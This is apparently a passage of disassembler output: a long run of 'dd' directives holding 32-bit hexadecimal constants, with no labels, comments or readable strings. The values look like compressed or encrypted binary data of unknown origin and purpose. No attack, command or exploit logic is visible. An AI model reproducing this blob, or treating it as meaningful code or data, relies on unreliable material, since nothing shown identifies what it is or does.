		dd 0A52E44E8h, 9194CEFh, 3DF9CB0Fh, 0BB531D80h,	556B7719h
		dd 1CBA5201h, 4A23C97Bh, 3E0E0238h, 0F2C040BBh,	277196D5h
		dd 5FB789Fh, 6CE9DD31h,	0D6D64B66h, 4CD55E32h, 12E20B65h
		dd 11D55388h, 0B8005E47h, 0BE24EE52h, 7F2D9179h, 25FEA89h
		dd 0A320988h, 0CD910378h, 52D9AE65h, 0C3178153h, 490276ADh
		dd 3103FA3Ah, 384B08E3h, 0A68AB61Ah, 0DA131BAh,	6A71E6E9h
		dd 70EAEC16h, 0C9E9D019h, 680FC492h, 62AD51F2h,	90D1895Ah
		dd 81B323B2h, 80509254h, 0ED2D9DC0h, 0A0820B0Ah, 2A84C389h
		dd 0AF61AA28h, 37642CFBh, 2617C3Bh, 0B220B823h,	0C07D9EA7h
		dd 4EE0C14Fh, 2DD90003h, 6B260142h, 62B6E92Dh, 2860499h
		dd 0A6C816D2h, 5A86DDB6h, 0BB0E825Fh, 37DBF075h, 7B1ADE29h
		dd 6AA983C3h, 0EB1D341Bh, 3C4169F8h, 2C68A324h,	0CF5C7D36h
		dd 0BA9C5356h, 582418F3h, 7793BE76h, 0E9B3CC28h, 8C54B26h
		dd 5A8E33A7h, 0B19EBCA2h, 8E6A3C73h, 948659A9h,	3CE41C07h
		dd 84AB2393h, 0BE081639h, 811CEB7Ch, 5C22344Dh,	0D69535AEh
		dd 0D4C95015h, 0CD9030BFh, 6859801Ah, 2F5E6E2Ah, 7F67B72Fh
		dd 907826A9h, 6E288D09h, 66A10002h, 9055826Fh, 3559099Ah
		dd 0A6004CA5h, 34063C48h, 0ACFC909Dh, 80B70153h, 0EFC0D7F6h
		dd 170ABC03h, 0AEF8C5C7h, 0BB203B22h, 0ECB1D3E2h, 64B28493h
		dd 0AB051716h, 0ACAACE84h, 0DAAEA5FFh, 7D531554h, 52BB006Eh
		dd 0E91DCD76h, 52F94E7Fh, 21BCD58Fh, 45CC788h, 920F4ABh
		dd 0DF1C5726h, 0CC4D3710h, 47881907h, 1463A2BDh, 397A2AE0h
		dd 0EE465A80h, 0F162954Eh, 434F535Fh, 323BA1F3h, 44D1184Fh
		dd 1D26C923h, 846DBB39h, 0C656E0F1h, 0F2170C12h, 0FE130713h
		dd 669B06FAh, 0C55BC96Ch, 1660EEEh, 0BDDB68DFh,	5E3B2945h
		dd 0F2BEAF85h, 405CA238h, 0AC9D4CCDh, 0D8281C24h, 307C9268h
		dd 5037B2B1h, 0D75BE97Ch
		dd 0B06074Fh, 0D5696272h, 570BD959h, 88907E54h,	35281A4Fh
		dd 3F048309h, 8B80026h,	9F01F375h, 0A68BCE89h, 94766DFh
		dd 7817708Ah, 0C10B4056h, 0BA850EEh, 0FAFDAF74h, 762D84h
		dd 36BA0C2Dh, 0B4895BAEh, 718401ACh, 8D66FF7h, 2250C09Fh
		dd 41E9402Ah, 3EA7A95Ah, 0BC69F817h, 67E4E719h,	2792AE8h
		dd 68C828F2h, 90996A6Bh, 5418AFB6h, 3BE9C2FFh, 0C002D670h
		dd 0EA8008E2h, 9ABB8272h, 2ED80BF9h, 5F7416B5h,	4C41EB74h
		dd 46E52456h, 12A16720h, 105416Ch, 97654434h, 0DCB53E45h
		dd 2FB8F0FCh, 37C0D46Ah, 54C72672h, 66C0BA5Dh, 7D3104C8h
		dd 6DBE2AEAh, 7BA2E3h, 0E9F96CEh, 0F131134Fh, 3EE0AF5Eh
		dd 9B43118Dh, 59074004h, 0C5010B8h, 0D89D49DCh,	0A3DD9D3Eh
		dd 0B9E82863h, 8E325C48h, 231B4405h, 5A01BB4Dh,	674CB8BFh
		dd 0D731E0h, 8FF7815Ah,	97E5661h, 0E95FF905h, 8EEAA753h
		dd 92543F87h, 0B5E20586h, 8C223127h, 51561851h,	71BF3F42h
		dd 8462CE6h, 0BB1F0E2Dh, 0DD290331h, 69EDDC81h,	20E0F2A1h
		dd 4616EE1Fh, 50BB2E99h, 0B65F0873h, 3C87137Ah,	3294F6AEh
		dd 71308310h, 70046B3Ah, 3F81AE43h, 29014F28h, 0A1976CF1h
		dd 0FA3B6568h, 755CB71Ah, 34C2A959h, 42B5F952h,	0C6F5D168h
		dd 0E9563EB9h, 867AF327h, 0B85CF878h, 33AC96B0h, 1334211h
		dd 1A2EE4C3h, 0E82F53A3h, 0F709C7C9h, 0E102919Ah, 80428A08h
		dd 0A96A87DEh, 97E91780h, 18A3B353h, 0EF55B819h, 921B1664h
		dd 1FC3C403h, 0E53C81ABh, 7FEDE947h, 2DAD2504h,	7E6AF1FAh
		dd 0F6D55CD8h, 51025D4h, 0E0390BDFh, 976CBBB6h,	0C7F10918h
		dd 0B479FF82h, 32DA6861h, 0E90AAB4Bh, 37FABF6h,	665D265Ch
		dd 9B20C04h, 0E9BF9AA3h, 0FE279D78h, 58DE08Ah, 450B7D35h
		dd 0F77717E9h, 0C0B0771Ch, 88104A62h, 7287DFEFh, 5CD06BFAh
		dd 0B51F5020h, 63559182h, 43FEA79Ah, 0DEDF488Bh, 903D650Dh
		dd 0BF575AE6h, 0A363740Bh, 5381571Eh, 702FE181h, 0EFB03F15h
		dd 0F83CE265h, 895A8F00h, 411BE9CDh, 0F0A96F1Ah, 22EF2613h
		dd 0F85876DFh, 1CFB6813h, 0B1517730h, 27B60A79h, 3B778CE9h
		dd 0E913FF4Bh, 760A5DC2h, 0EE5213E2h, 5A9C418Ch, 44B333E0h
		dd 0A622BEDDh, 10D877C1h, 2634DB9Dh, 0DB01DCBh,	7E265490h
		dd 0E03B8FA5h, 89416499h, 16613820h, 0B88B412Ch, 29F73A1h
		dd 0B580329h, 0B84BE550h, 0E1D17281h, 0F562C13Fh, 0BFF9A0DCh
		dd 9278492Eh, 5292FFADh, 0D3888681h, 0AC876E8Ah, 85EE7C69h
		dd 0D330D2F6h, 34AD8431h, 7ED04D2h, 8839F963h, 65A73E8Bh
		dd 46975F70h, 34EE8414h, 0AB2C203Bh, 4119F0F4h,	801D4541h
		dd 0E68865B2h, 97BD585Fh, 745D729Ah, 0FA5D1699h, 0D1A32B31h
		dd 13B6D648h, 0F17C48D3h, 2DBF2B5Ah, 8AF82ECFh,	6482EA9h
		dd 9857A7CFh, 0ACFE9D2Fh, 4BE625F6h, 1C43F5Ch, 0C9F6A4EAh
		dd 660455B4h, 0E6BAF331h, 0D824D972h, 7D33CB3Eh, 0DF9B6839h
		dd 55721FD7h, 0FBC3467Ah, 0B00A3070h, 0F4DE5F25h, 689DC629h
		dd 955AD332h, 1DCA2479h, 0D961720Ah, 25645DA5h,	95151320h
		dd 6E2D7578h, 301AD286h, 0BA0C70FCh, 6DFA0577h,	7C1286BFh
		dd 1F629F0Fh, 26FFD240h, 0C93CA09Bh, 0B1528B94h, 0B634CFB2h
		dd 42370BBAh, 0F6765A2Ah, 2949081Dh, 0DE6CAB44h, 0C581890Ah
		dd 82FEE2F7h, 0A3AA7F0Fh, 12C3012Dh, 0A88289DAh, 25558F0Fh
		dd 54D090D0h, 2E37A768h, 86580F75h, 0B6FB09FEh,	26914E4Fh
		dd 0B49551EAh, 9D79AA53h, 8051B05Dh, 2920B714h,	66F3430Dh
		dd 3F0F995h, 48974682h,	6987CEF8h, 510293Bh, 0BF6F83EEh
		dd 2605B5A8h, 0AF56906Ah, 8C1440Ah, 2F495C27h, 0FBF5B53Ah
		dd 685A82ACh, 0A3A276ACh, 8C56AF46h, 1B0B97E2h,	2E48C2C1h
		dd 0E1A9BE49h, 0E77F8790h, 6F2F7E95h, 69A9D461h, 0A60BAF5Dh
		dd 61BCA04h, 0AC30F7F6h, 0E6010C6Eh, 0E9129C56h, 787675E5h
		dd 0ABC40492h, 91AA13F5h, 72C68324h, 1ECD1275h,	0CC3E1C61h
		dd 7B2CF73Bh, 0D1C3152Fh, 0FD0AC4Eh, 41366E2h, 37567A72h
		dd 80D4B590h, 0AB7F4BEDh, 9446B952h, 0D40FE2C8h, 4416278Ah
		dd 924A61D8h, 0DE312B70h, 205D273h, 0BD38A361h,	0F20580FDh
		dd 257D1785h, 500892Dh,	317BF8E7h, 0A2DF4B0h, 52B95EE1h
		dd 7B7405Dh, 35700D62h,	600B03BBh, 19BD54A9h, 1B545847h
		dd 0C8CAA10Bh, 82D6CC82h, 3C79E0F5h, 0B8514A68h, 27D482D0h
		dd 0E94F4008h, 207AED5Bh, 9B39CE2Dh, 65A2E68h, 0AA2D5A04h
		dd 5014B9FCh, 888F825Fh, 0FABB7A58h, 37B26C12h,	93087100h
		dd 5C01C84Dh, 5C2575F3h, 7725D8E7h, 0D390569Ch,	2909F30Fh
		dd 4FE2903h, 0BBCD4CA9h, 0E8A11642h, 0EFABEA7h,	4E4DE76Bh
		dd 5E154632h, 0F505D1DEh, 4B6E8DCEh, 442612BFh,	0A864725Ch
		dd 8FC285B6h, 0B2524ED0h, 20EF9041h, 0D89F9998h, 8F391ACh
		dd 2E3A4D01h, 0AE01F7C7h, 58277418h, 0F72EA87Ah, 84DE7CC9h
		dd 98D44CE9h, 4D4B6019h, 0F59129EEh, 58D574AAh,	4D173CB1h
		dd 0BD6BE3E1h, 8B12D610h, 0B14B92B2h, 0C859012Dh, 0E763958Eh
		dd 0FFE74A9Ah, 1764E94Eh, 9DEFD2C0h, 25617B02h,	0C3106E3Ah
		dd 0ED2F07E7h, 0C72B302Ch, 0CE20B7A4h, 0AA35DCE8h, 9E274B5h
		dd 0E0300851h, 7BE14299h, 7A651BCh, 3F82C483h, 99BE2904h
		dd 0BCA52ECDh, 92BA0804h, 0E44159E1h, 6B312EC2h, 983F5A49h
		dd 40F6F1D3h, 0D4273194h, 57C6EB94h, 84FEC6D3h,	0B6D1EE3Dh
		dd 6A06459Bh, 45B78433h, 0DC54EAEBh, 0F9880453h, 6FA8EE50h
		dd 695C5827h, 0B5E4BF58h, 0F3B0339Eh, 0FFA72AE9h, 162CAA4Bh
		dd 5EF52568h, 0B58CA3D1h, 0CF65B6Ah, 5F12DF4h, 2F00E80Ch
		dd 0F2310DD5h, 5BEAC15Eh, 0C5CFE804h, 0C3E1F8E9h, 0F1EAD97Bh
		dd 5AA43AD7h, 1A5C1CEBh, 7A70A7CEh, 7B2C2A2Fh, 0BC29FCEh
		dd 0D1E8403Ch, 913EA0Dh, 0C4B93158h, 6B628EC9h,	0A5C7EDD7h
		dd 480C80DCh, 15035118h, 0AA117679h, 1B2DDE4Ch,	1455D842h
		dd 1F4CB746h, 183F40F8h, 5029A0DCh, 0B05908EEh,	84055BF0h
		dd 858EC1CBh, 0CB2D2A1Eh, 5E74A33Ah, 977025FCh,	0A5F61DFDh
		dd 57AA15Eh, 0AED29AFBh, 7178D505h, 0E8978490h,	5E9CE9D3h
		dd 859BF2E7h, 0CF2018D5h, 5A5BFEDEh, 41371E8Ah,	1479FDC2h
		dd 0FC457020h, 2DCE391Fh, 0D1CF2DAh, 14041C08h,	2D5B9C7h
		dd 53B194C1h, 0D66AA23Ah, 0C56CF706h, 19F30B8Dh, 0F0024E29h
		dd 5D05BC79h, 571008C1h, 5C4CF7Fh, 33E7F14h, 4EF7B0BEh
		dd 0D7FF6F27h, 80805A6Ch, 152C18CAh, 99059B50h,	0ECF87A61h
		dd 34552300h, 0E9D7F757h, 8C05D44Bh, 25B8CC88h,	0DA2F523Bh
		dd 343BF644h, 4D0698DFh, 12CCB8C5h, 0B835296Dh,	0A37726EAh
		dd 0DD4CF5A5h, 0F90F9A2Dh, 1A9B8183h, 0F8487572h, 1DD4DFF5h
		dd 0F8A751F4h, 144AA550h, 0CB0601F9h, 0D84E5679h, 5F15F305h
		dd 43827F8Fh, 1BF5C5Bh,	256021ECh, 2211EDE9h, 0EDCD6FBh
		dd 83E79757h, 0F62B9D09h, 0CEB860D3h, 130A8023h, 0D7F47BE9h
		dd 6862C181h, 0C8E011Eh, 3DA5114Bh, 5E6BB55h, 0F1E7E985h
		dd 3EB026Ch, 0F17743CAh, 9DD0C948h, 7533F95Eh, 0C0BEC853h
		dd 27F8B5E3h, 0DBF62C19h, 826FB90Ah, 8CD93E49h,	0A24F7ABCh
		dd 5EDFD2E2h, 0BE1A30D6h, 60252723h, 0FEBF206h,	0E27A1BC6h
		dd 55A96842h, 0DA5D2890h, 8328E795h, 0D8281B2Ch, 58C849C7h
		dd 12BD2E58h, 0A45084DDh, 68E2D100h, 18B74C98h,	81037325h
		dd 0B753F804h, 0E7804213h
		dd 0F68527BCh, 5E758C4Fh, 420CE8F9h, 0C15C209Dh, 17D4C493h
		dd 0A9CA0198h, 0E5A8643h, 67609F7Ah, 1D2F7B65h,	61152E7Eh
		dd 0F1F23ACh, 6FAF230h,	899A12ADh, 0DCE730F5h, 0E7FDC55h
		dd 419CD73h, 161858D0h,	42B9E20h, 0B213612Dh, 9810BB69h
		dd 2EFC5B07h, 874FD204h, 0A9C9EB5Eh, 521F827Fh,	16980261h
		dd 0EA6807E8h, 0C234757Ch, 0C75A110Eh, 0CE74DB0Ch, 101B8025h
		dd 9097057h, 57C3AC56h,	3975CF42h, 0D5CEC294h, 0D141E63Ah
		dd 0C180001Dh, 5EAAF082h, 5F25FBF4h, 920A882h, 5AFB2200h
		dd 0CC135A7h, 26E434ADh, 0B8014A26h, 25990D8Dh,	20BD7F01h
		dd 6430B460h, 0E9277BB6h, 25457AD9h, 0C446424Fh, 9934C020h
		dd 2F8ADA0h, 0C282357Fh, 1ED8571Dh, 5C6A0C9Fh, 54B709C7h
		dd 0D7E9B6C8h, 2105E20Fh, 0E28B00E8h, 0ED05D1FAh, 0A0AA7ECDh
		dd 816C60B1h, 0C06C4981h, 0F18E60C7h, 2B622A94h, 0C79ADF3Ch
		dd 25168C02h, 0D5BEC625h, 2E1E14CDh, 5BDA1C28h,	50CFC28Eh
		dd 0F6B06040h, 0B448D776h, 0EDD530CEh, 761FBAh,	61BE3F0Eh
		dd 1DC4EA3h, 2F20EEBAh,	0E0D11E23h, 522E0857h, 0F2AF5D64h
		dd 6F58557h, 0A89282BCh, 3E84B56Eh, 0A84A3DF8h,	0E770B4B0h
		dd 585525CDh, 204292Ah,	0EB56FEE9h, 0A598C8Ah, 0D3A5B896h
		dd 54A3FB04h, 0B67CE902h, 9A302151h, 98DB7129h,	8FCD041Ch
		dd 8354CB43h, 13F39C16h, 1055BC95h, 0EB4A1967h,	82336028h
		dd 0FB21D004h, 2D694644h, 63B0FA12h, 0DAECFBC7h, 0CDFE9DBAh
		dd 40610D67h, 566048D3h, 4BD42568h, 7D020966h, 0E940552Ch
		dd 2DE65EFBh, 8F266AF0h, 1643DCE6h, 800D4E15h, 72E568BAh
		dd 2201CAB3h, 2558AF2Bh, 75F270F8h, 63E40B71h, 44FC0DD8h
		dd 40DF5E06h, 6D20B0Ch,	8C770869h, 0C46658EBh, 0A5D4B472h
		dd 0A3E82B6Ch, 0BBFA8B35h, 0FB1600F2h, 0CC2DAA57h, 0E512C46Fh
		dd 9BA20052h, 3260E40Eh, 9462850Ch, 0EA013F35h,	4108A372h
		dd 4B20140Ch, 927D97BFh, 5E46843Ch, 876B9DB3h, 7D8D83FCh
		dd 162A1CA0h, 282CFF8Fh, 0BFC9C66h, 0BFD8635h, 4547566Fh
		dd 0F261FF02h, 257A7BFBh, 0CCDA8445h, 0B89E13D0h, 8236A360h
		dd 835F167Bh, 0C2C81CEFh, 7826E711h, 13887A5Dh,	0FB0CCD68h
		dd 4AC4B661h, 0A5291C9Dh, 0D9C5BF56h, 5602B6CEh, 21531839h
		dd 2D555Eh, 5AD50800h, 0E7E54C80h, 89ACB01Fh, 9CD5383Ah
		dd 945C6734h, 46750B2Bh, 5A32F6FAh, 0FC769133h,	0F0712016h
		dd 12E8C180h, 0BBC8310Ah, 0E4AE1034h, 155C3981h, 3F98D678h
		dd 762BE3A5h, 0C7E50D8h, 0D889CA6Bh, 924B121Dh,	8C77F446h
		dd 0F239A960h, 48091820h, 5301103Bh, 0E9224B6Ah, 384D3545h
		dd 0C62D7808h, 5C1E842h, 2F1C055Eh, 0C0BF577Dh,	4F4ACA93h
		dd 810247E2h, 445884E7h, 0B3D6800Ah, 0A9E4092h,	6E9F801h
		dd 0C8D1AF9Dh, 2568076Ch, 81E60DC7h, 5A81E874h,	95ADAA4h
		dd 0E69A3359h, 5808B8F9h, 1268040Ah, 613AB65Bh,	0C469B7AAh
		dd 4905BE41h, 0BE96EF04h, 39C0B708h, 3A01686Fh,	0C2B0051Fh
		dd 5B28EBB3h, 0CD0B044Ch, 0A00E484h, 8E15A6C5h,	78293225h
		dd 5E0880CCh, 7AFF31E9h, 0CAEE885Eh, 7DCB035Ch,	8A138865h
		dd 4488DB81h, 0E975382Fh, 0C009EA2Ah, 575BD90Ah, 0AC8C0E68h
		dd 0EEFBCF45h, 0EB56FA0h, 9E8FBE76h, 0AA11A315h, 0C586F35Eh
		dd 0FA055E9h, 80BF0CB2h, 0E30602CAh, 244420B8h,	0BCFA9DC3h
		dd 0AB4B37F6h, 9F763FA4h, 535F7309h, 0C14ABB85h, 20D1F6BBh
		dd 1BB521EFh, 464C9258h, 49A09D76h, 55405A2Dh, 0E393E910h
		dd 4C990504h, 0BDE8C013h, 4813674Dh, 0E01E453Eh, 9CEBB62h
		dd 0F7300BB3h, 0DA00303Eh, 3A47255Dh, 5BE92EB2h, 0BF910079h
		dd 603D0C02h, 0FCCF8102h, 0E04DB61Ch, 27E3064Ch, 9CD99240h
		dd 5210FDA6h, 9172D75h,	95C8B6A2h, 0F8DFF8C2h, 199FB07Eh
		dd 937A0868h, 5E9F922Ch, 0EE5E57B8h, 6033A32Ch,	3EC15343h
		dd 6B489222h, 16C50666h, 4961FDCh, 17695331h, 1798B801h
		dd 74EB3ACAh, 8764FF6Bh, 0C483B2ABh, 5E016FE2h,	0C22B4B68h
		dd 53FFF1F7h, 4BC2CA4Dh, 0E49387AEh, 0EC44171Eh, 53CA766Eh
		dd 4C546809h, 10BE573h,	0D1C41016h, 68558080h, 519561E0h
		dd 0EA294903h, 80131475h, 252A60BEh, 33522FE6h,	0F3E90880h
		dd 680E50BEh, 98C56E3h,	0FF256B55h, 74B5C550h, 30F9525Ch
		dd 0A5C25969h, 11622AD4h, 49E0808h, 0B37EDB68h,	22B41886h
		dd 5B3BD1Eh, 31E03A4Ch,	556A22EBh, 0F0455B4Ah, 0FC06EF8Ah
		dd 7EE9E400h, 0DEF821FEh, 0B4960B9Bh, 5282397Fh, 2910917Bh
		dd 12FF05DCh, 1D90EFB8h, 95030267h, 78C26A7Eh, 3C1D595Fh
		dd 89CE8A2Ch, 1EE2305Bh, 0C22C24C1h, 0EA3271FFh, 1C92100Fh
		dd 93CF92Dh, 0F3C22902h, 1B8D09BFh, 1188A87Ch, 685F04C5h
		dd 437CBC9Eh, 42C592C3h, 0DD35A782h, 0F70B31D1h, 0E0965F14h
		dd 0F1EDD126h, 7B3BF903h, 0FFB359h, 3548587Eh, 77947D9Ah
		dd 43579731h, 123EB0E9h, 0A677AA4Ah, 351407E4h,	162B9701h
		dd 4F50157h, 0EFE90816h, 68D5C79Fh, 0E8B01B75h,	600B3909h
		dd 61F8E97Fh, 6DA66491h, 88930873h, 0AC18007h, 5A99CB8Fh
		dd 826379B7h, 56B567Ch,	71EEC207h, 3BCF26h, 0C381F901h
		dd 275F0856h, 1B5CC6EFh, 0CBACCA4Ah, 0A1130758h, 217F0147h
		dd 7574E9D7h, 6AAD483h,	810EF69Dh, 517F8AC7h, 839DF413h
		dd 0C5BE1ACFh, 0B200BA6Ah, 73753590h, 0E2F05E01h, 70583BD2h
		dd 16C0D749h, 0F4632347h, 2D119E93h, 0E2405BDDh, 3AE205ABh
		dd 85A6A98h, 4FFF7641h,	0ED3A339Bh, 655689C5h, 186625A0h
		dd 0F26A9CB4h, 0DE870100h, 16CFF681h, 120CB15h,	69591FF3h
		dd 0D9E47F29h, 0FF8A25AEh, 2753E5DFh, 1B4EC877h, 49D49106h
		dd 657C6302h, 47814B05h, 52DC689Ah, 4DE66F7h, 0C038704Eh
		dd 21EBD047h, 0C6B8795Ah, 0D1F55C89h, 0C65DCB5Dh, 5DD20D3h
		dd 95E5C07h, 2FA31C6Fh,	2D1576A7h, 60D905CDh, 42A5C3A6h
		dd 8FE25DF9h, 7BF09F40h, 124A1B24h, 4B524687h, 6235C960h
		dd 0BC21507Fh, 1B727722h, 9C3AE971h, 9C7F598Ah,	0D3E925E1h
		dd 10687E00h, 6F5A3A38h, 7625EEDh, 66D056E9h, 4385BD09h
		dd 0ED6A807Dh, 49762C5Ah, 277CA658h, 0CB800160h, 0E967C136h
		dd 2195BE24h, 0C846AF80h, 92555D30h, 0B850EAE6h, 76587D8Eh
		dd 2087B0B3h, 3506A543h, 95C3C7E7h, 49CE3168h, 0A0C529AAh
		dd 52A0086Ch, 66A41193h, 0D6D93726h, 29083382h,	0BB405DF1h
		dd 0C190DDF7h, 3489400h, 3EE94327h, 32CABD9Ah, 0D4C1B980h
		dd 224AB074h, 5B1C83BCh, 0CEBAA837h, 7601B83Ah,	38E6E96Bh
		dd 0F9FC4BF3h, 0D5438792h, 0C510E426h, 4B14B798h, 4FC85586h
		dd 0EA4E70E9h, 580D8CD5h, 0A26BF17Fh, 31068412h, 44E4BBDh
		dd 10307079h, 570418CAh, 4C2A77A2h, 41133932h, 712DAFA8h
		dd 78B38D2Ah, 0B7D84AF8h, 0FFC7BF2Ch, 0B8090524h, 4559F5FFh
		dd 0A4D9D552h, 5C183EC2h, 0EDB0622Fh, 5FD82102h, 0CFBF5E30h
		dd 0D5561AC9h, 5EBF0978h, 477DE9BFh, 0D7688554h, 7D9C4B2Fh
		dd 4FB5AF50h, 68560270h, 55E51850h, 0AA20CBA0h,	0DF9A02Ch
		dd 0F091618h, 0CD40C031h, 61424D1h, 7F34D3Ch, 53D05F46h
		dd 64F3E5D0h, 2475B54h,	57905507h, 882AC35Dh, 963E1EE9h
		dd 0FB8797A8h, 6101DECBh, 68546F2Eh, 0F3F86FD1h, 66300596h
		dd 958EFA46h, 5B868140h, 0CE178C22h, 80FA2829h,	0E9BB2C63h
		dd 0B746E9D0h, 5CC201E7h
		dd 1096507h, 14E030DAh,	9E8A5B9Ch, 0EF9CF338h, 410EF856h
		dd 72499F29h, 0CC73558Eh, 0FD99923Dh, 6871AA27h, 6450394Ah
		dd 2422D9BAh, 25217CF3h, 182A0FEh, 0F453E9D1h, 0BBDD2D8Eh
		dd 50F4F214h, 30CD974Bh, 52D0E08h, 394B050h, 2CD0F68Ah
		dd 5A3BC417h, 0EBE5CCE8h, 0F348709Eh, 3F83B15Ah, 0F5A716BCh
		dd 8DFB0DAh, 0D559CF27h, 66D25814h, 0C22046F8h,	72BD5502h
		dd 0C106C574h, 52079A07h, 1ED702D1h, 0B2520480h, 81C28081h
		dd 2A224003h, 0CB235341h, 1235AD50h, 37F9F614h,	58A2407Eh
		dd 453F20FBh, 0CE8265Bh, 74E1E2E7h, 68617B7Ch, 0E785E01h
		dd 114AA0C6h, 0BCC26EEDh, 2F34D657h, 8E6522DDh,	0BABD680Dh
		dd 3CE00460h, 0EB07EDC1h, 0D4689C02h, 615EF659h, 0F4CE060Ch
		dd 5F5AFD31h, 1F1301BCh, 0C533A851h, 72FEF7EDh,	0A4FC5C06h
		dd 60BC3612h, 0A5BAB25Ah, 5BA22F0Dh, 9E9A1E3Bh,	0BB5095DDh
		dd 0D462EF4Eh, 37595F1Ch, 0B229DBA7h, 10415ECh,	89C2FCBAh
		dd 0C27FD631h, 8000064Ch, 0FF68CCEh, 8E6C0D6h, 0B570C607h
		dd 0FD1C82EEh, 0EDF1376Bh, 189AFB05h, 0BED5FA84h, 30BA3280h
		dd 0EAF083CAh, 38E7C01Eh, 984C3CF0h, 0DE1819E2h, 9BB33E53h
		dd 0BA79CB17h, 0EC9F735Dh, 0C86F3CEh, 416ABADAh, 0DF1860F6h
		dd 0AFA4B1Dh, 68BE07BEh, 0D45440C7h, 215D25D0h,	0BF8E94F2h
		dd 0AF179296h, 64FB7565h, 0E9AC0215h, 7157F9CEh, 87AD160Dh
		dd 52B1D289h, 8562D2ABh, 51A67F76h, 0A7B0DC2Dh,	5C77856Ah
		dd 186881F2h, 3055793Fh, 25ADCCDh, 0B902D08Eh, 45F14401h
		dd 3EC195C1h, 0E85F238Ah, 49EA0491h, 0D2C079DFh, 642B1F26h
		dd 8F69B63Fh, 2944DC0h,	0E935EB80h, 8BB47CDBh, 71785EF1h
		dd 215F5B01h, 348B1C77h, 0A2FAB37Ah, 9F595894h,	894E9014h
		dd 0AD1329BFh, 7F9AD859h, 0F7351330h, 1200FDDEh, 2DEF2A50h
		dd 0FBA93035h, 5BFD05BDh, 91EA8117h, 0A8117D6Dh, 38F0EBCFh
		dd 0F134099Fh, 78F0E9DCh, 0DA9E5F9Dh, 0FC9B6B27h, 65F7E9C4h
		dd 42996AB7h, 1D5A1AEFh, 63097FE0h, 7FFB8927h, 0A42DA548h
		dd 30E22816h, 7056FC4h,	0E4091889h, 266D71EDh, 51E03A9h
		dd 58B22340h, 6A9C3061h, 32830390h, 6B137B5Ah, 19FD8FC8h
		dd 0A83BC3ECh, 830B5F20h, 5F222BD3h, 2E99CB1Eh,	87E95360h
		dd 0A81BB63h, 69FA8D37h, 0C220096Ch, 0D15B4EF1h, 3CD9290h
		dd 0B048BD30h, 2858070Fh, 923184F0h, 0AFF65A5Bh, 0FD0D94C2h
		dd 6E6C6119h, 54047EA3h, 0AE47DEE9h, 4AF316C8h,	1FB88C27h
		dd 688BA261h, 0A189757Eh, 9A570B9Fh, 74965522h,	507F5920h
		dd 924E153h, 5047F21Ah,	91103604h, 315B3322h, 72EE915h
		dd 0B5C0C695h, 7DA71942h, 9C04EA66h, 0A8FD4977h, 0BD4FD8CFh
		dd 0FDA65032h, 0C501AC52h, 0FEE1C8C4h, 75FCEA01h, 8DABB42Bh
		dd 0F0FB6602h, 5F975D58h, 13146B39h, 3BFEF30Eh,	8C9EF378h
		dd 0B2DE3CD0h, 8E2CC5ABh, 51A068AAh, 0D6D48B4h,	4BEF2Ah
		dd 0D600D5ACh, 11C18022h, 761F885Ch, 748AC725h,	662C0EDEh
		dd 0D80BDC4Eh, 5C434677h, 5F38047Dh, 393CC15Bh,	0EEC80693h
		dd 972D7025h, 61514E56h, 7B1F164h, 0B7E180B2h, 0F608B1C0h
		dd 0DEF1E0D9h, 0AD2D1EAh, 0B70BC317h, 0EF2703B7h, 0AF06205Bh
		dd 28A33F62h, 63AEE2D8h, 82B69A51h, 0A6B386F1h,	204D2C9h
		dd 6DFF281h, 21E17ACCh,	0AA9C3E95h, 94AC50h, 18068CBBh
		dd 53CB8119h, 35AE030Bh, 62100043h, 2512D926h, 5BC211E9h
		dd 38820761h, 0E5502F97h, 0DAF1CB3Ch, 0A254F62h, 60D603F9h
		dd 0D9F207DAh, 81738961h, 3416C21Bh, 0C836E09h,	27931FEh
		dd 3DB1E007h, 0D49978BFh, 0CDE30160h, 0FC706F45h, 2428FAEBh
		dd 0D07EC073h, 0B946F3B5h, 812E6A6h, 0A4202B65h, 1F84157h
		dd 0E91CB1E3h, 24AF36A3h, 0EDBDF083h, 0DDF19B02h, 564BBCC0h
		dd 50630FDh, 19173A72h,	42AC2D31h, 4D71A885h, 3004DACFh
		dd 55829A66h, 9D586987h, 8BA21463h, 282D0051h, 0E9376235h
		dd 259D5FF0h, 1041AA71h, 22D17211h, 126D743Fh, 0EC83210Ch
		dd 2E6DBBFCh, 5A93E346h, 4902338Ah, 2A30E952h, 688991F3h
		dd 0E95260C5h, 250F951Ah, 45D7E7BFh, 8176CBE0h,	70D0C42h
		dd 0ABF16B83h, 5D42681Ch, 0FD5E57A4h, 3CA8AB80h, 55626FA7h
		dd 0C41F9094h, 670D20AFh, 23E5967h, 0F707E132h,	6D8BE980h
		dd 36F848BCh, 0C039B94Ah, 619ACA3Fh, 5BD83007h,	4424913Bh
		dd 0C3412F85h, 6BE471CDh, 0A2FEB46Fh, 880E0D9Eh, 5116FFD4h
		dd 81E5FFF8h, 0AFBABD3Bh, 771860AFh, 0C1254F05h, 6A9570F7h
		dd 59CCCFB2h, 879A5BF2h, 0E31204Bh, 0FF20D4B2h,	0B7C74007h
		dd 0C1B8D74Eh, 8485AD4Fh, 95BC7F23h, 0BFC24EC9h, 0E927B4E6h
		dd 0BD048014h, 4B8A4795h, 20B7F865h, 0DAB80077h, 5170F4Fh
		dd 0F024B02Ah, 2E02B4E8h, 5F471F14h, 28085BA8h,	1D715A6Ah
		dd 0FCA67CEBh, 92BB00EFh, 0B93BB16Fh, 0F95B27h,	1435C143h
		dd 0A54E5BACh, 54080705h, 0B585FBC0h, 762F96B6h, 25C9B42h
		dd 566F5EA7h, 1314719Dh, 4F27F8B5h, 0AC4AEF8Fh,	261B4139h
		dd 8CA04B94h, 0CA315C18h, 343C50CCh, 3A62712h, 0E91E02BFh
		dd 6EDF1B96h, 0D8313042h, 0F39F779h, 0C11F7B2Dh, 4ADC62DFh
		dd 231ACE47h, 7E81980Bh, 0DAD1E9FDh, 0B34D30Bh,	7E6B875Fh
		dd 0F503FDEFh, 6D533AFAh, 2D757A08h, 2CF31180h,	45976AF5h
		dd 1FF68065h, 0BEBD1D65h, 558F9318h, 0F07752D2h, 0BAE91773h
		dd 95A997C2h, 0FE3D5DFh, 0F853623Dh, 2670C4CCh,	0A20C9344h
		dd 5549DF8Ah, 50F1FEC5h, 0A18394BBh, 78C037D7h,	0EB4B4C43h
		dd 6C35C806h, 3A090C4Ch, 180F69h, 0AD0E2D3Dh, 64F0B508h
		dd 0A2385B02h, 7FD2FAE9h, 54B7154Eh, 9C28A405h,	45590A61h
		dd 0F2318AF4h, 0FA3D0B14h, 0DBB402C6h, 5AEFF627h, 1252B37Dh
